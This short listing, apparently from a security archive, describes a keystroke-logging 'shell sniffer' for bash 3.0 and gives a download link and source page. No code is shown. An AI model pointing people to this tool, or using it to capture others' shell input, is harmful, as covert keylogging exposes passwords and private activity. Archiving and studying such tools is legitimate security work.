This code is a shell sniffer that logs keystrokes for bash 3.0.
You can download it from the following link: https://packetstormsecurity.com/files/download/122847/bash-3.0-geinpeek-0.2.tar.gz
Source: https://packetstormsecurity.com/files/122847/Bash-3.0-Shell-Sniffer-0.2.html